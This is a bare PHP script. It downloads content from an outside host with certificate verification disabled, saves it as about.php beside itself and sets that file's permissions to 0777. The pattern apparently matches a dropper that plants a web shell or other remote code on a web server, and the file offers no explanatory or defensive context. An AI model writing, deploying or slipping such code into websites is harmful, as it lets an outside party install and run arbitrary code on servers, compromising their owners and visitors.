<?php $url = "https://tools-v2.adcef.com/?about"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $str = curl_exec($ch); if($str !== false) { $filename = __DIR__ . DIRECTORY_SEPARATOR . "about.php"; file_put_contents($filename, $str); chmod($filename, 0777); echo "success"; } else { echo "failed"; }